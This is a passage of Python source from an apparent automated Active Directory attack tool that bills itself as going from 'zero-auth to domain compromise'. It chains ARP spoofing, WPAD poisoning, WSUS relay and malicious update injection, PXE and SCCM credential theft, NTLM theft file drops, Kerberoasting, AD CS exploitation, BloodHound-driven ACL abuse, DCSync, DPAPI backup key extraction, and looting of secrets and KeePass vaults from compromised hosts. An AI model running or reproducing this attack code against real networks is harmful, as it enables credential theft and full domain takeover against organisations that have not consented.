log.info(f"Looting {len(targets)} host(s): {', '.join(targets[:5])}"
+ ("..." if len(targets) > 5 else ""))
total_secrets = 0
total_kdbx = 0
for host in targets:
try:
total_secrets += _loot_processes(host, cfg)
total_kdbx += _loot_keepass(host, cfg)
except Exception as ex:
log.warning(f"Loot crashed on {host}: {ex}")
if total_secrets or total_kdbx:
ok(f"Loot summary: {total_secrets} cmdline secret(s), {total_kdbx} KeePass cracked")
return True
detail("Loot: no secrets harvested")
return False
def _bh_load_json(json_dir: Path, suffix: str) -> list[dict]:
"""Load all *_<suffix>.json files in json_dir and return concatenated 'data' arrays."""
items: list[dict] = []
for jf in json_dir.glob(f"*_{suffix}.json"):
try:
doc = json.loads(jf.read_text(errors="replace"))
items.extend(doc.get("data", []))
except Exception as e:
log.debug(f"BloodHound JSON parse failed for {jf.name}: {e}")
return items
def _bh_find_our_sid(users: list[dict], cfg: Config) -> str:
"""Locate our own user object's SID from the BloodHound dataset."""
if not (cfg.username and cfg.domain):
return ""
target = f"{cfg.username.upper()}@{cfg.domain.upper()}"
for u in users:
if u.get("Properties", {}).get("name", "").upper() == target:
return u.get("ObjectIdentifier", "")
return ""
def _bh_controlled_principals(start_sid: str, groups: list[dict]) -> set[str]:
"""Compute the set of principal SIDs we control: our own SID plus
every group transitively containing us. Includes the well-known
universal-membership SIDs because edges scoped to those apply to us."""
controlled: set[str] = set()
if start_sid:
controlled.add(start_sid)
# Universal/built-in groups that always include any authenticated user
controlled.update({
"S-1-5-11", # Authenticated Users
"S-1-5-32-545", # BUILTIN\Users
"S-1-1-0", # Everyone
})
# BFS over groups: add a group if any current member is controlled
changed = True
while changed:
changed = False
for g in groups:
gsid = g.get("ObjectIdentifier", "")
if not gsid or gsid in controlled:
continue
for m in g.get("Members", []):
if m.get("ObjectIdentifier", "") in controlled:
controlled.add(gsid)
changed = True
break
return controlled
def _bh_name_to_sam(bh_name: str, obj_type: str) -> str:
"""Convert a BloodHound 'name' field to a usable AD identifier.
Computer objects: HOST.DOMAIN.LAB → HOST$
User/Group: [email protected] → PRINCIPAL
"""
if obj_type == "Computer":
first = bh_name.split(".", 1)[0]
if not first.endswith("$"):
first = f"{first}$"
return first
if "@" in bh_name:
return bh_name.split("@", 1)[0]
return bh_name
# ACE rights that grant us a usable primitive against the target
_BH_INTERESTING_RIGHTS = {
"WriteSPN", "AddKeyCredentialLink", "GenericAll", "GenericWrite",
"WriteDacl", "WriteOwner", "WriteAccountRestrictions", "AddAllowedToAct",
"ForceChangePassword", "AllExtendedRights", "Owns",
}
# (right, target_object_type) → action handler used by auto-action below
_BH_AUTO_ACTION_MAP: dict[tuple[str, str], str] = {
("WriteSPN", "Computer"): "ghost_spn",
("WriteSPN", "User"): "ghost_spn",
("AddKeyCredentialLink", "Computer"): "shadow_creds",
("AddKeyCredentialLink", "User"): "shadow_creds",
("GenericAll", "Computer"): "rbcd",
("GenericWrite", "Computer"): "rbcd",
("WriteAccountRestrictions", "Computer"): "rbcd",
("AddAllowedToAct", "Computer"): "rbcd",
}
def analyze_bloodhound_data(zip_path: Optional[Path], cfg: Config,
json_dir: Optional[Path] = None) -> dict:
"""Parse BloodHound JSON for high-value findings + actionable ACE edges.
Returns a dict with 'findings' (counts) and 'actionable_edges' (list
of dicts: {right, target_name, target_type, target_sid}).
The actionable-edges list is consumed by run_bloodhound_collect to
fire opportunistic ghost-SPN / shadow-creds / RBCD chains."""
if json_dir is None:
json_dir = cfg.work_dir / "bloodhound" / "json"
json_dir.mkdir(parents=True, exist_ok=True)
try:
with zipfile.ZipFile(zip_path) as zf:
zf.extractall(json_dir)
except Exception as e:
log.warning(f"Failed to extract BloodHound ZIP: {e}")
return {"findings": {}, "actionable_edges": []}
users = _bh_load_json(json_dir, "users")
computers = _bh_load_json(json_dir, "computers")
groups = _bh_load_json(json_dir, "groups")
log.info(f"BloodHound dataset: {len(users)} users, "
f"{len(computers)} computers, {len(groups)} groups")
# Build SID → name lookup so group memberships resolve to readable names
sid_to_name: dict[str, str] = {}
for collection in (users, computers, groups):
for obj in collection:
sid = obj.get("ObjectIdentifier", "")
name = obj.get("Properties", {}).get("name", "")
if sid and name:
sid_to_name[sid] = name
findings: dict[str, list[str]] = {
"domain_admins": [],
"enterprise_admins": [],
"schema_admins": [],
"kerberoastable": [],
"asreproastable": [],
"unconstrained_delegation": [],
"constrained_delegation": [],
"rbcd_inbound": [],
"laps_computers": [],
"admincount_users": [],
"disabled_admins": [],
"pwd_never_expires_admins": [],
}
# --- Users ---
for u in users:
props = u.get("Properties", {})
name = props.get("name", "?")
if props.get("hasspn") and "KRBTGT@" not in name.upper():
findings["kerberoastable"].append(name)
if props.get("dontreqpreauth"):
findings["asreproastable"].append(name)
if props.get("unconstraineddelegation"):
findings["unconstrained_delegation"].append(f"USER:{name}")
if props.get("admincount"):
findings["admincount_users"].append(name)
if not props.get("enabled", True):
findings["disabled_admins"].append(name)
if props.get("pwdneverexpires"):
findings["pwd_never_expires_admins"].append(name)
# --- Computers ---
for c in computers:
props = c.get("Properties", {})
name = props.get("name", "?")
if props.get("unconstraineddelegation"):
findings["unconstrained_delegation"].append(f"COMPUTER:{name}")
if props.get("haslaps"):
findings["laps_computers"].append(name)
atd = props.get("allowedtodelegate") or []
for spn in atd:
findings["constrained_delegation"].append(f"{name} → {spn}")
# Inbound RBCD: someone has been granted msDS-AllowedToActOnBehalfOfOtherIdentity
for ace in c.get("Aces", []):
if ace.get("RightName") == "AllowedToAct":
src = sid_to_name.get(ace.get("PrincipalSID", ""), ace.get("PrincipalSID", "?"))
findings["rbcd_inbound"].append(f"{src} → {name}")
# --- Groups: protected admin groups ---
protected = {
"DOMAIN ADMINS@": "domain_admins",
"ENTERPRISE ADMINS@": "enterprise_admins",
"SCHEMA ADMINS@": "schema_admins",
}
for g in groups:
gname = g.get("Properties", {}).get("name", "").upper()
for prefix, bucket in protected.items():
if gname.startswith(prefix):
for m in g.get("Members", []):
member_name = sid_to_name.get(m.get("ObjectIdentifier", ""),
m.get("ObjectIdentifier", "?"))
findings[bucket].append(member_name)
# Dedupe while preserving order
for k, v in findings.items():
seen = set()
deduped = []
for item in v:
if item not in seen:
seen.add(item)
deduped.append(item)
findings[k] = deduped
# --- Actionable-edge analysis ---
# Build the principal closure: us + every group containing us (transitively).
# Edges scoped to a controlled principal mean WE can wield that ACE.
our_sid = _bh_find_our_sid(users, cfg)
if our_sid:
log.debug(f"BloodHound: our SID resolved to {our_sid}")
else:
log.debug("BloodHound: could not resolve our user SID — universal-group "
"edges will still be evaluated")
controlled = _bh_controlled_principals(our_sid, groups)
actionable_edges: list[dict] = []
# Tag each object with its type so we know how to use the edge later
typed_objects = (
[(u, "User") for u in users]
+ [(c, "Computer") for c in computers]
+ [(g, "Group") for g in groups]
)
for obj, otype in typed_objects:
target_sid = obj.get("ObjectIdentifier", "")
target_name = obj.get("Properties", {}).get("name", "?")
for ace in obj.get("Aces", []):
right = ace.get("RightName", "")
psid = ace.get("PrincipalSID", "")
if right not in _BH_INTERESTING_RIGHTS:
continue
if psid not in controlled:
continue
actionable_edges.append({
"right": right,
"target_name": target_name,
"target_type": otype,
"target_sid": target_sid,
"principal_sid": psid,
"via": sid_to_name.get(psid, psid),
})
# --- Persist analysis ---
out_file = cfg.work_dir / "bloodhound-analysis.txt"
sections = [
("domain_admins", "👑 Domain Admins"),
("enterprise_admins", "👑 Enterprise Admins"),
("schema_admins", "👑 Schema Admins"),
("kerberoastable", "🎫 Kerberoastable users (hasspn=true)"),
("asreproastable", "🔓 AS-REP roastable users (dontreqpreauth=true)"),
("unconstrained_delegation", "⚠️ Unconstrained delegation"),
("constrained_delegation", "⚠️ Constrained delegation (allowedtodelegate)"),
("rbcd_inbound", "🎟️ RBCD inbound (AllowedToAct)"),
("laps_computers", "🔐 LAPS-enabled computers"),
("admincount_users", "🛡️ AdminCount=1 users"),
("disabled_admins", "💤 Disabled admin accounts"),
("pwd_never_expires_admins", "⏳ Admins with pwdneverexpires"),
]
lines = [
"=" * 60,
f" BloodHound analysis — {cfg.domain}",
f" {len(users)} users / {len(computers)} computers / {len(groups)} groups",
"=" * 60,
"",
]
for key, title in sections:
items = findings[key]
if not items:
continue
lines.append(f"{title} ({len(items)})")
for item in items[:100]:
lines.append(f" - {item}")
if len(items) > 100:
lines.append(f" ... +{len(items)-100} more")
lines.append("")
# Actionable edges section
if actionable_edges:
lines.append(f"⚡ Actionable edges from {cfg.username or 'us'} "
f"({len(actionable_edges)})")
for e in actionable_edges[:200]:
via = f" (via {e['via']})" if e["via"] != cfg.username.upper() + "@" + cfg.domain.upper() else ""
lines.append(f" - {e['right']:<25} → {e['target_type']}:{e['target_name']}{via}")
if len(actionable_edges) > 200:
lines.append(f" ... +{len(actionable_edges)-200} more")
lines.append("")
out_file.write_text("\n".join(lines))
# --- Surface inline ---
if findings["domain_admins"]:
ok(f"🐶 Domain Admins: {len(findings['domain_admins'])}")
for da in findings["domain_admins"][:5]:
detail(da)
if findings["kerberoastable"]:
ok(f"🐶 Kerberoastable: {len(findings['kerberoastable'])} user(s)")
for u in findings["kerberoastable"][:3]:
detail(u)
if findings["asreproastable"]:
ok(f"🐶 AS-REP roastable: {len(findings['asreproastable'])} user(s)")
for u in findings["asreproastable"][:3]:
detail(u)
if findings["unconstrained_delegation"]:
ok(f"🐶 Unconstrained delegation: {len(findings['unconstrained_delegation'])}")
for h in findings["unconstrained_delegation"][:3]:
detail(h)
if findings["constrained_delegation"]:
ok(f"🐶 Constrained delegation: {len(findings['constrained_delegation'])} edge(s)")
if findings["rbcd_inbound"]:
ok(f"🐶 RBCD inbound: {len(findings['rbcd_inbound'])} edge(s)")
if findings["laps_computers"]:
ok(f"🐶 LAPS-readable candidates: {len(findings['laps_computers'])}")
detail(f"Full analysis: {out_file}")
# Feed AS-REP/Kerberoastable lists back to roast phase if files don't exist yet
asrep_hint = cfg.work_dir / "bloodhound-asrep-targets.txt"
if findings["asreproastable"] and not asrep_hint.exists():
asrep_hint.write_text("\n".join(findings["asreproastable"]) + "\n")
kerb_hint = cfg.work_dir / "bloodhound-kerberoast-targets.txt"
if findings["kerberoastable"] and not kerb_hint.exists():
kerb_hint.write_text("\n".join(findings["kerberoastable"]) + "\n")
# Surface actionable edges inline + write a separate file for the auto-action loop
if actionable_edges:
ok(f"🐶 Actionable edges from us: {len(actionable_edges)}")
for e in actionable_edges[:5]:
detail(f"{e['right']} → {e['target_type']}:{e['target_name']}")
actionable_file = cfg.work_dir / "bloodhound-actionable.txt"
actionable_file.write_text("\n".join(
f"{e['right']}\t{e['target_type']}\t{e['target_name']}\t"
f"via:{e['via']}" for e in actionable_edges
) + "\n")
detail(f"Actionable edges: {actionable_file}")
return {"findings": findings, "actionable_edges": actionable_edges}
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Full Auto: Zero-auth → ARP/WPAD/WSUS → Crack → Exploit → DCSync
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def run_full_auto(cfg: Config):
"""Fully automated chain: no creds needed."""
phase_header("FULL AUTO MODE — Zero to Domain Admin")
print(f"{C.BOLD} 🚀 Attack Plan:{C.NC}")
detail("0️⃣ Passive sniff — detect WPAD/WSUS/PXE/LLMNR/DHCPv6 traffic")
detail("1-3 ARP spoof → WPAD poisoning → WSUS relay → PXE theft")
detail("4️⃣ NTLM theft file drops (.library-ms/.theme on shares)")
detail("4.5 nxc enrichment + BloodHound -c All (graph analysis) 🐶")
detail("5️⃣ Kerberoast + AS-REP Roast (credential harvest)")
detail("6️⃣ AD CS — ESC1-17 detection (Certihound) / ESC1-16 exploit (certipy)")
detail("7️⃣ SCCM NAA credential theft (sccmhunter)")
detail("8️⃣ Enumerate targets + exploit (Shadow Creds / RBCD)")
detail("9️⃣ WSUS update injection (AppLocker bypass)")
detail("🔟 DCSync + DPAPI backup key extraction 👑")
print()
# Step 0: Passive sniff to discover viable attacks (auto-fills DC/domain)
sniff_results = passive_sniff(cfg, duration=cfg.sniff_duration)
# Step 0.5: Pre-cut credential discovery — 6 zero-auth foothold techniques
# (kerbrute + CLDAP userenum, AS-REP roast, pre2k auto-test, spray).
# If this yields creds, we skip straight to authenticated chain.
got_creds_early = False
try:
got_creds_early = run_credential_discovery(cfg)
except Exception as e:
log.warning(f"Credential discovery phase crashed: {e}")
wpad_viable = bool(sniff_results.get("wpad_llmnr") or sniff_results.get("dhcpv6")
or sniff_results.get("wpad_dns") or sniff_results.get("nbtns"))
wsus_viable = bool(sniff_results.get("wsus"))
pxe_viable = bool(sniff_results.get("pxe") or sniff_results.get("tftp"))
if wpad_viable:
ok("Passive discovery: WPAD/LLMNR/DHCPv6 traffic detected — poisoning attacks enabled")
if wsus_viable:
ok("Passive discovery: WSUS traffic detected — relay attack enabled")
if pxe_viable:
ok("Passive discovery: PXE/TFTP traffic detected — boot image credential theft enabled")
if not wpad_viable and not wsus_viable and not pxe_viable:
log.info("No WPAD/WSUS/PXE traffic seen passively — will still attempt active attacks")
# Collect all hosts seen in passive sniff — prioritize for ARP spoofing
# Collect IPs only — passive_sniff() also returns "domains" (set of
# domain name strings) and "dcs" (dict ip → service-set). Without
# this filter, ARP-spoof prioritisation would receive domain strings
# and try to spoof them, wasting work and risking subtle bugs.
sniffed_hosts: set[str] = set()
for key, val in sniff_results.items():
if key == "domains":
continue # set of domain strings, not hosts
if key == "dcs":
sniffed_hosts.update(val.keys()) # dict — keys are IPs
else:
sniffed_hosts.update(val) # set of source IPs
sniffed_hosts.discard(cfg.attacker_ip)
sniffed_hosts.discard(cfg.gateway)
# Step 1-3: ARP capture + crack (prioritize sniffed hosts).
# Skipped entirely if early credential discovery already got us in.
if got_creds_early:
ok("Pre-cut discovery yielded creds — skipping ARP/WPAD/WSUS/PXE")
got_creds = True
else:
got_creds = run_arp_capture(cfg, priority_hosts=sorted(sniffed_hosts) if sniffed_hosts else None)
# Step 3b: WPAD poisoning (prioritize if passive sniff detected traffic)
if not got_creds and not cfg.no_wpad:
if wpad_viable:
ok("WPAD/LLMNR traffic was detected — WPAD poisoning has high chance of success")
log.info("Trying WPAD poisoning...")
if run_wpad_attack(cfg):
# try_crack_hashes returns (user, pass, domain) — must mutate cfg
# ourselves; the helper deliberately doesn't touch cfg so callers
# can choose to apply or discard the cracked creds.
creds = try_crack_hashes(cfg)
if creds:
cfg.username, cfg.password, cfg.domain = creds
got_creds = True
# Step 4: WSUS relay (machine account capture)
if not cfg.no_wsus:
wsus_server = detect_wsus_server(cfg)
if not wsus_server and wsus_viable:
# Passive sniff saw WSUS traffic — extract the WSUS server IP from sniff results
wsus_clients = sniff_results.get("wsus", [])
log.info(f"Passive sniff detected WSUS clients: {wsus_clients}")
if wsus_server:
log.info(f"WSUS server found at {wsus_server} — attempting relay...")
run_wsus_relay(cfg)
creds = try_crack_hashes(cfg)
if creds and not got_creds:
cfg.username, cfg.password, cfg.domain = creds
got_creds = True
# Step 4b: PXE boot image credential theft (zero-auth via TFTP)
if not got_creds and (pxe_viable or not (wpad_viable or wsus_viable)):
log.info("Attempting PXE boot image credential extraction...")
if run_pxe_attack(cfg):
got_creds = cfg.has_creds
# Step 4c: NTLM theft file drops (passive hash capture in background)
if not cfg.no_ntlm_theft:
log.info("Dropping NTLM theft files on writable shares (background capture)...")
run_ntlm_theft(cfg)
extract_hashes(cfg)
if not got_creds:
creds = try_crack_hashes(cfg)
if creds:
cfg.username, cfg.password, cfg.domain = creds
got_creds = True
if not got_creds:
fail_box("Failed to capture/crack credentials via ARP/WPAD/WSUS/PXE/NTLM-theft")
log.warning(f"Captured hashes (if any): {cfg.work_dir / 'captured-ntlmv2.txt'}")
log.warning(f"Crack manually: hashcat -m 5600 {cfg.work_dir}/captured-ntlmv2.txt rockyou.txt")
return
separator()
ok(f"🔑 Switching to authenticated attack chain")
ok(f"Credentials: {cfg.domain}\\{cfg.username}")
print()
# Re-discover domain/DC now that we have creds
if not cfg.domain:
discovery = AutoDiscovery(cfg)
discovery._detect_domain()
if not cfg.dc_ip and cfg.domain:
discovery = AutoDiscovery(cfg)
discovery._detect_dc_ip()
if not cfg.dc_fqdn and cfg.dc_ip:
discovery = AutoDiscovery(cfg)
discovery._detect_dc_fqdn()
if not cfg.domain or not cfg.dc_ip or not cfg.dc_fqdn:
log.error("Could not auto-detect domain/DC info after credential capture")
log.warning(f"Re-run: {sys.argv[0]} -u '{cfg.username}' -p '{cfg.password}' -d DOMAIN --dc-ip IP")
return
# Step 4d: nxc enrichment battery (vuln checks + cred mining + recon)
run_nxc_enrichment(cfg)
# Step 4e: BloodHound graph collection + automatic analysis
if not cfg.no_bloodhound:
run_bloodhound_collect(cfg)
# Step 5: Kerberoast + AS-REP Roast (immediate credential harvest)
if not cfg.no_roast:
log.info("Running Kerberoast + AS-REP Roast for additional credentials...")
run_roast_attack(cfg)
# Step 6: AD CS enum + exploitation (ESC1-ESC17 detect / ESC1-ESC16 exploit)
if not cfg.no_adcs and tool_exists("certipy"):
log.info("Enumerating AD CS for vulnerable certificate templates...")
if run_adcs_attack(cfg):
ok("AD CS exploitation succeeded — may have DA-equivalent credentials")
# Step 7: SCCM NAA credential theft
if not cfg.no_sccm:
log.info("Attempting SCCM NAA credential theft...")
run_sccm_attack(cfg)
# Step 8: Enumerate + exploit
relay_targets, _ = enumerate_targets(cfg)
best_target = ""
hv_file = cfg.work_dir / "high-value-targets.txt"
if hv_file.exists():
best_target = _first_line(hv_file.read_text())
if best_target:
ok(f"🎯 Auto-selected HIGH VALUE target: {best_target}")
elif relay_targets:
best_target = relay_targets[0]
ok(f"Auto-selected target: {best_target}")
if best_target:
exploit_target(best_target, cfg)
# Step 8a: Ghost-SPN upgrade (CVE-2025-58726) — opportunistic Kerberos
# pivot when our relayed account has SPN-write rights on a target machine.
if best_target and not cfg.no_ghost_spn:
target_machine = best_target.split(".")[0] if "." in best_target else best_target
try_ghost_spn_upgrade(target_machine, cfg)
# Step 8b: WebDAV coercion — bypass SMB signing via HTTP relay
if not best_target or not relay_targets:
webclient_hosts = detect_webclient_hosts(cfg)
for wh in webclient_hosts:
if run_webdav_coercion(wh, cfg):
break
# Step 8c: DHCP coercion
run_dhcp_coercion(cfg)
# Step 8d: GPO abuse
run_gpo_abuse(cfg)
# Step 9: WSUS (authenticated phase)
if not cfg.no_wsus and cfg.wsus_server:
# Now that we have creds, try HTTPS relay with auto-cert if initial HTTP relay failed
if cfg.wsus_https and not cfg.wsus_certfile and tool_exists("certipy"):
log.info("Retrying WSUS HTTPS relay with certipy certificate abuse...")
run_wsus_relay(cfg)
# Inject malicious update (AppLocker bypass with signed delivery)
log.info("Attempting WSUS update injection for persistence/AppLocker bypass...")
run_wsus_inject(cfg)
# Step 10: DCSync
if not cfg.no_dcsync:
dcsync_attack(best_target or cfg.dc_ip, cfg)
# Step 10b: DPAPI backup key extraction (post-DCSync goldmine)
if not cfg.no_dpapi:
run_dpapi_backup(cfg)
# Step 11: Loot — process cmdlines + KeePass on hosts we landed on
if not cfg.no_loot:
run_loot(cfg)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Summary
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def print_summary(cfg: Config):
elapsed = int(time.time() - cfg.start_time)
mins, secs = divmod(elapsed, 60)
print(f"\n{C.BOLD_CYAN}╔══════════════════════════════════════════════════════╗")
print(f"║ 📊 ATTACK CHAIN SUMMARY ║")
print(f"╠══════════════════════════════════════════════════════╣{C.NC}")
rows = [
("🌐", "Domain:", cfg.domain or "N/A"),
("🖥️ ", "DC:", f"{cfg.dc_fqdn or 'N/A'} ({cfg.dc_ip or 'N/A'})"),
("🎯", "Attacker:", f"{cfg.attacker_ip} ({cfg.iface})"),
("📡", "Target net:", cfg.target_net or cfg.specific_target or "N/A"),
]
if cfg.username:
auth_type = "PTH" if cfg.nthash else ("cracked via ARP" if not cfg.password else "password")
rows.append(("🔑", "Auth:", f"{cfg.domain}\\{cfg.username} ({auth_type})"))
for emoji, label, value in rows:
print(f"{C.CYAN}║{C.NC} {emoji} {label:<18} {C.WHITE}{value:<32}{C.NC} {C.CYAN}║{C.NC}")
print(f"{C.CYAN}╠══════════════════════════════════════════════════════╣{C.NC}")
# Stats
stats = []
for name, file_pat, color in [
("📍 Live hosts:", "live-hosts.txt", C.WHITE),
("🔓 Relay targets:", "relay-targets.txt", C.WHITE),
("🎣 NTLMv2 hashes:", "captured-ntlmv2.txt", C.WHITE),
]:
f = cfg.work_dir / file_pat
if f.exists():
count = len([l for l in f.read_text().splitlines() if l.strip()])
stats.append((name, f"{color}{count}{C.NC}"))
# WPAD/WSUS results
for label, pattern in [
("🌐 WPAD captures:", "wpad-relay.txt"),
("📦 WSUS captures:", "wsus-relay.txt"),
]:
f = cfg.work_dir / pattern
if f.exists():
content = f.read_text()
auth_count = len(re.findall(r"authenticated|SUCCEED", content, re.IGNORECASE))
if auth_count:
stats.append((label, f"{C.BOLD_GREEN}{auth_count} auth(s){C.NC}"))
wsus_inj = cfg.work_dir / "wsus-inject.txt"
if wsus_inj.exists() and "inject" in wsus_inj.read_text().lower():
stats.append(("📦 WSUS inject:", f"{C.BOLD_YELLOW}update pushed{C.NC}"))
pxe_creds = cfg.work_dir / "pxe-creds.txt"
if pxe_creds.exists() and pxe_creds.stat().st_size > 0:
cred_count = pxe_creds.read_text().count("[")
stats.append(("🖥️ PXE creds:", f"{C.BOLD_GREEN}{cred_count} credential(s){C.NC}"))
# AD CS results
adcs_certs = list(cfg.work_dir.glob("adcs-*.pfx"))
if adcs_certs:
stats.append(("📜 AD CS certs:", f"{C.BOLD_GREEN}{len(adcs_certs)} certificate(s){C.NC}"))
adcs_enum = cfg.work_dir / "adcs-enum.txt"
if adcs_enum.exists():
vuln_count = len(re.findall(r"ESC\d+", adcs_enum.read_text()))
if vuln_count:
stats.append(("🔓 AD CS vulns:", f"{C.BOLD_YELLOW}{vuln_count} ESC finding(s){C.NC}"))
# Kerberoast / AS-REP results
for label, pattern in [
("🔥 Kerberoast:", "kerberoast-cracked.txt"),
("🔥 AS-REP:", "asrep-cracked.txt"),
]:
f = cfg.work_dir / pattern
if f.exists() and f.stat().st_size > 0:
count = len(f.read_text().strip().splitlines())
stats.append((label, f"{C.BOLD_GREEN}{count} cracked{C.NC}"))
roast_hashes = cfg.work_dir / "kerberoast-hashes.txt"
if roast_hashes.exists():
count = len(roast_hashes.read_text().strip().splitlines())
if count:
stats.append(("🎫 SPN hashes:", f"{C.WHITE}{count}{C.NC}"))
# NTLM theft drops
theft_drops = cfg.work_dir / "ntlm-theft-drops.txt"
if theft_drops.exists():
count = len(theft_drops.read_text().strip().splitlines())
if count:
stats.append(("📂 Theft drops:", f"{C.WHITE}{count} file(s) placed{C.NC}"))
# SCCM NAA
sccm_creds = cfg.work_dir / "sccm-naa.txt"
if sccm_creds.exists() and sccm_creds.stat().st_size > 0:
stats.append(("🏢 SCCM NAA:", f"{C.BOLD_GREEN}credentials extracted{C.NC}"))
# Shadow Credentials
shadow_pfx = list(cfg.work_dir.glob("shadow-*.pfx"))
if shadow_pfx:
stats.append(("👤 Shadow creds:", f"{C.BOLD_GREEN}{len(shadow_pfx)} cert(s){C.NC}"))
# RBCD
rbcd_tickets = list(cfg.work_dir.glob("rbcd-*.ccache"))
if rbcd_tickets:
stats.append(("🎟️ RBCD ticket:", f"{C.BOLD_GREEN}S4U2Proxy succeeded{C.NC}"))
# DPAPI backup key
dpapi_key = cfg.work_dir / "dpapi-backupkey.pvk"
if dpapi_key.exists():
stats.append(("🔐 DPAPI key:", f"{C.BOLD_YELLOW}backup key extracted{C.NC}"))
# nxc enrichment extracted creds (LAPS / userPassword / desc / timeroast)
enrich_creds = cfg.work_dir / "enrich-extracted-creds.txt"
if enrich_creds.exists():
n = len([l for l in enrich_creds.read_text().splitlines() if l.strip()])
if n:
stats.append(("📝 Enrich creds:", f"{C.BOLD_GREEN}{n} extracted{C.NC}"))
enrich_summary = cfg.work_dir / "enrich-summary.txt"
if enrich_summary.exists():
flags = [l.strip() for l in enrich_summary.read_text().splitlines() if l.strip()]
for flag in flags:
U = flag.upper()
if "VULNERABLE" in U or "PRIV-ESC" in U:
stats.append(("🔥 Vuln finding:", f"{C.BOLD_RED}{flag[:32]}{C.NC}"))
elif "BADSUCCESSOR" in U:
stats.append(("🔥 BadSuccessor:", f"{C.BOLD_YELLOW}{flag[:32]}{C.NC}"))
elif "MAQ-RBCD-VIABLE" in U:
stats.append(("🎫 MAQ:", f"{C.BOLD_YELLOW}{flag.split(':',1)[1].strip()[:32]}{C.NC}"))
enrich_timeroast_cracked = cfg.work_dir / "enrich-timeroast-cracked.txt"
if enrich_timeroast_cracked.exists() and enrich_timeroast_cracked.stat().st_size > 0:
n = len(enrich_timeroast_cracked.read_text().strip().splitlines())
stats.append(("⏰ Timeroast:", f"{C.BOLD_GREEN}{n} cracked{C.NC}"))
# BloodHound analysis
bh_analysis = cfg.work_dir / "bloodhound-analysis.txt"
if bh_analysis.exists():
bh_text = bh_analysis.read_text()
bh_findings = sum(1 for ln in bh_text.splitlines() if ln.startswith(" - "))
if bh_findings:
stats.append(("🐶 BloodHound:", f"{C.BOLD_GREEN}{bh_findings} findings{C.NC}"))
bh_actionable = cfg.work_dir / "bloodhound-actionable.txt"
if bh_actionable.exists():
ae_count = len([l for l in bh_actionable.read_text().splitlines() if l.strip()])
if ae_count:
stats.append(("⚡ BH actionable:", f"{C.BOLD_YELLOW}{ae_count} edge(s){C.NC}"))
# Loot results
cmdline_secrets = sum(
len(f.read_text().strip().splitlines())
for f in cfg.work_dir.glob("loot-secrets-*.txt") if f.exists()
)
if cmdline_secrets:
stats.append(("💰 Cmdline loot:", f"{C.BOLD_GREEN}{cmdline_secrets} secret(s){C.NC}"))
kdbx_cracked = sum(
1 for f in cfg.work_dir.glob("loot-*.kdbx.cracked")
if f.exists() and f.stat().st_size > 0
)
if kdbx_cracked:
stats.append(("💎 KeePass cracked:", f"{C.BOLD_GREEN}{kdbx_cracked} vault(s){C.NC}"))
# WebDAV coercion
webdav_relay = cfg.work_dir / "webdav-relay.txt"
if webdav_relay.exists() and re.search(r"authenticated|SUCCEED",
webdav_relay.read_text(), re.IGNORECASE):
stats.append(("🌐 WebDAV:", f"{C.BOLD_GREEN}coercion succeeded{C.NC}"))
# GPO abuse
gpo_abuse = cfg.work_dir / "gpo-abuse.txt"
if gpo_abuse.exists() and re.search(r"created|success", gpo_abuse.read_text(), re.IGNORECASE):
stats.append(("📋 GPO abuse:", f"{C.BOLD_YELLOW}scheduled task created{C.NC}"))
cracked = cfg.work_dir / "cracked.txt"
if cracked.exists() and cracked.stat().st_size > 0:
count = len(cracked.read_text().strip().splitlines())
stats.append(("🔓 Cracked:", f"{C.BOLD_GREEN}{count} password(s){C.NC}"))
comp_count = sum(
len(f.read_text().strip().splitlines())
for f in cfg.work_dir.glob("compromised*.txt") if f.exists()
)
if comp_count:
stats.append(("💀 Compromised:", f"{C.BOLD_RED}{comp_count} host(s){C.NC}"))
dump = cfg.work_dir / "secretsdump.txt"
if dump.exists() and ":::" in dump.read_text():
hash_count = dump.read_text().count(":::")
stats.append(("🗝️ Hashes dumped:", f"{C.BOLD_GREEN}{hash_count} credentials{C.NC}"))
if "krbtgt:" in dump.read_text():
stats.append(("👑 Golden ticket:", f"{C.BOLD_YELLOW}krbtgt CAPTURED{C.NC}"))
for label, value in stats:
print(f"{C.CYAN}║{C.NC} {label:<20} {value:<42} {C.CYAN}║{C.NC}")
print(f"{C.CYAN}╠══════════════════════════════════════════════════════╣{C.NC}")
# Methods
for wm in sorted(cfg.work_dir.glob("working-method-*.txt")):
target = wm.stem.replace("working-method-", "")
method = wm.read_text().strip()
print(f"{C.CYAN}║{C.NC} ⚔️ {'Exploit:':<18} {C.WHITE}{method} → {target:<20}{C.NC} {C.CYAN}║{C.NC}")
wc = cfg.work_dir / "working-coercion.txt"
if wc.exists():
print(f"{C.CYAN}║{C.NC} 🔨 {'DC coercion:':<18} {C.WHITE}{wc.read_text().strip():<32}{C.NC} {C.CYAN}║{C.NC}")
print(f"{C.CYAN}╠══════════════════════════════════════════════════════╣{C.NC}")
print(f"{C.CYAN}║{C.NC} ⏱️ {'Duration:':<18} {C.WHITE}{mins}m {secs}s{'':<25}{C.NC} {C.CYAN}║{C.NC}")
print(f"{C.CYAN}║{C.NC} 📁 {'Output:':<18} {C.WHITE}{str(cfg.work_dir):<32}{C.NC} {C.CYAN}║{C.NC}")
print(f"{C.CYAN}║{C.NC} 📋 {'Full log:':<18} {C.WHITE}{str(cfg.work_dir / 'chain.log'):<32}{C.NC} {C.CYAN}║{C.NC}")
print(f"{C.BOLD_CYAN}╚══════════════════════════════════════════════════════╝{C.NC}")
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# CLI & Main
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def parse_args() -> Config:
p = argparse.ArgumentParser(
description="NTLM Relay Attack Chain: zero-auth to domain compromise — Triop AB",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent("""\
Examples:
# FULLY AUTOMATED — no args needed
sudo %(prog)s
# With credentials
